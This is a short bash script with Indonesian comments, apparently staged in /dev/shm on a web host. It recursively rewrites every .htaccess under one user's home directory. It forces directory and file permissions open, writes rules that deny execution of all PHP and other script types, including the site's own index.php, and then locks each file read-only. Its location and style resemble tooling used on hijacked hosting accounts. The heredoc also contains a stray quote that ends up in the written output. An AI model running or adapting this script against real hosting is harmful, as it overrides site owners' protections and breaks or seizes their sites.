File: //dev/shm/haha.sh
#!/bin/bash
TARGET_DIR="/home/tripckjr/"
LOG_FILE="log.txt"
# Bersihkan log lama
> "$LOG_FILE"
# Isi konten .htaccess
HTACCESS_CONTENT=$(cat <<'EOF'
<FilesMatch "\.(php|Php|pHp|phP|php3|php4|php5|php6|php7|php8|php9|phtml|phar|pht|shtml|asp|aspx|fla)$">
Order deny,allow
Deny from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>'
EOF
)
# Fungsi tulis htaccess
write_htaccess() {
local dir="$1"
local file="$dir/.htaccess"
# Periksa permission direktori
perms=$(stat -c "%a" "$dir")
if [[ "$perms" == "555" || "$perms" == "111" ]]; then
chmod 755 "$dir" || {
echo "[ERROR] Gagal chmod 755: $dir" >> "$LOG_FILE"
return
}
fi
# Periksa apakah .htaccess sudah ada dan perm 444
if [ -f "$file" ]; then
file_perms=$(stat -c "%a" "$file")
if [ "$file_perms" == "444" ]; then
chmod 644 "$file" || {
echo "[ERROR] Gagal chmod 644: $file" >> "$LOG_FILE"
return
}
fi
fi
# Tulis konten dan set chmod
echo "$HTACCESS_CONTENT" > "$file" 2>/dev/null
if [ $? -ne 0 ]; then
echo "[ERROR] Gagal menulis: $file" >> "$LOG_FILE"
return
fi
chmod 444 "$file" || {
echo "[ERROR] Gagal chmod 444: $file" >> "$LOG_FILE"
return
}
echo "[OK] $file ditulis dan dikunci."
}
# Proses semua direktori
find "$TARGET_DIR" -type d | while read -r folder; do
write_htaccess "$folder"
done
echo "✅ Proses selesai. Log error disimpan di $LOG_FILE"